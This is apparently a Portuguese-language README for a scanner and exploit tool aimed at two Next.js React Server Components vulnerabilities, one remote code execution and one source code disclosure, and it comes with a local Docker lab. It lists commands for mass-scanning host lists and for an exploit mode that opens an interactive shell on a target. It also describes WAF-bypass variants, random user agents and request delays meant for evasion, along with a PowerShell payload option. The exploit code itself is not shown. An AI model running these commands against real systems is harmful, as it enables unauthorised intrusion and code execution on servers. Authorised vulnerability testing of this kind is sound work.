
uma vulnerabilidade crítica de Remote Code Execution (RCE) em React Server Components (RSC). Também inclui um ambiente realista "Lab Environment" para testar e entender a vulnerabilidade com segurança.
Este repositório contém uma ferramenta de scanner para CVE-2025-55182 (RCE) e CVE-2025-55183 (Divulgação de Código Fonte) em Next.js React Server Components (RSC).
Esta ferramenta é apenas para fins educacionais e de teste autorizado. Não use esta ferramenta em sistemas que você não possui ou não tem permissão explícita para testar. Os autores não são responsáveis por qualquer uso indevido.
Para uma análise técnica detalhada, consulte: https://react2shell.com/
pip3 install -r requirements.txt
Verifica se uma URL alvo é vulnerável.
python3 CVE-2025-55182.py -u <url>
Escaneia uma lista de hosts a partir de um arquivo (um por linha).
python3 CVE-2025-55182.py -l <hosts_file>
Obtenha um shell interativo em um alvo vulnerável.
python3 CVE-2025-55182.py -u <url> --exploit
Verifica se um alvo vaza código fonte através de Server Actions.
python3 CVE-2025-55182.py -u <url> --nextjs-rsc-source-code-disclosure
Usa detecção de canal lateral (baseado em tempo/erro) em vez de tentar RCE.
python3 CVE-2025-55182.py -u <url> --safe-check
Adiciona dados inúteis para ignorar a inspeção de conteúdo do WAF ou usar bypasses específicos.
# Standard WAF bypass (junk data)
python3 CVE-2025-55182.py -u <url> --waf-bypass --waf-bypass-size 128
# Vercel WAF bypass variant
python3 CVE-2025-55182.py -u <url> --vercel-waf-bypass
# Custom headers
python3 CVE-2025-55182.py -u <url> -H "Authorization: Bearer token" -H "X-Custom: Header"
# Proxy usage
python3 CVE-2025-55182.py -u <url> --proxy http://127.0.0.1:8080
# Random User-Agent and Delay
python3 CVE-2025-55182.py -u <url> --random-agent --delay 2.0
# Scan specific path
python3 CVE-2025-55182.py -u <url> --path /_next --path /api
Salva os resultados em um arquivo nos formatos JSON, CSV ou HTML. A flag --all-results salva tanto hosts vulneráveis quanto não vulneráveis.
python3 CVE-2025-55182.py -u <url> -o results.json --format json --all-results
Você pode executar uma instância vulnerável para testes usando a imagem Docker fornecida:
docker build -t cve-local .
docker run --rm -p 3000:3000 cve-local
Interessado em pesquisa de segurança da Vercel? Confira nosso documento de pesquisa colaborativa:
📄 VERCEL_RESEARCH.md - Um guia abrangente para:
Abra uma issue com a label research para participar da discussão!
| Argumento | Descrição |
|---|
-u, --url | URL/host único para verificar. |
-l, --list | Arquivo contendo lista de hosts para escanear. |
--exploit | Entra no modo shell interativo (requer -u). |
--nextjs-rsc-source-code-disclosure | Verifica Divulgação de Código Fonte (CVE-2025-55183). |
-t, --threads | Número de threads concorrentes (padrão: 10). |
--timeout | Tempo limite da requisição em segundos (padrão: 10). |
-o, --output | Arquivo de saída para os resultados. |
--format | Formato de saída: json, csv, html. |
--all-results | Salva todos os resultados, não apenas os vulneráveis. |
-k, --insecure | Desabilita verificação de certificado SSL. |
-H, --header | Header personalizado no formato 'Key: Value'. |
--path | Caminho personalizado para testar (ex.: '/_next'). |
--path-file | Arquivo contendo lista de caminhos a testar. |
--safe-check | Usa detecção de canal lateral segura em vez de PoC de RCE. |
--windows | Usa payload do Windows PowerShell. |
--waf-bypass | Adiciona dados inúteis para ignorar WAF. |
--waf-bypass-size | Tamanho dos dados inúteis em KB para bypass de WAF. |
--vercel-waf-bypass | Usa payload de bypass de WAF da Vercel. |
--bypass-variant | Seleciona variante específica de bypass de WAF (1-102) ou 'all'. |
-x, --proxy | URL do proxy (ex.: http://127.0.0.1:8080). |
--random-agent | Usa User-Agent aleatório para cada requisição. |
--delay | Atraso entre requisições em segundos. |
-v, --verbose | Saída verbosa (mostra trechos de resposta). |
-q, --quiet | Modo silencioso (mostra apenas hosts vulneráveis). |
--no-color | Desabilita saída colorida. |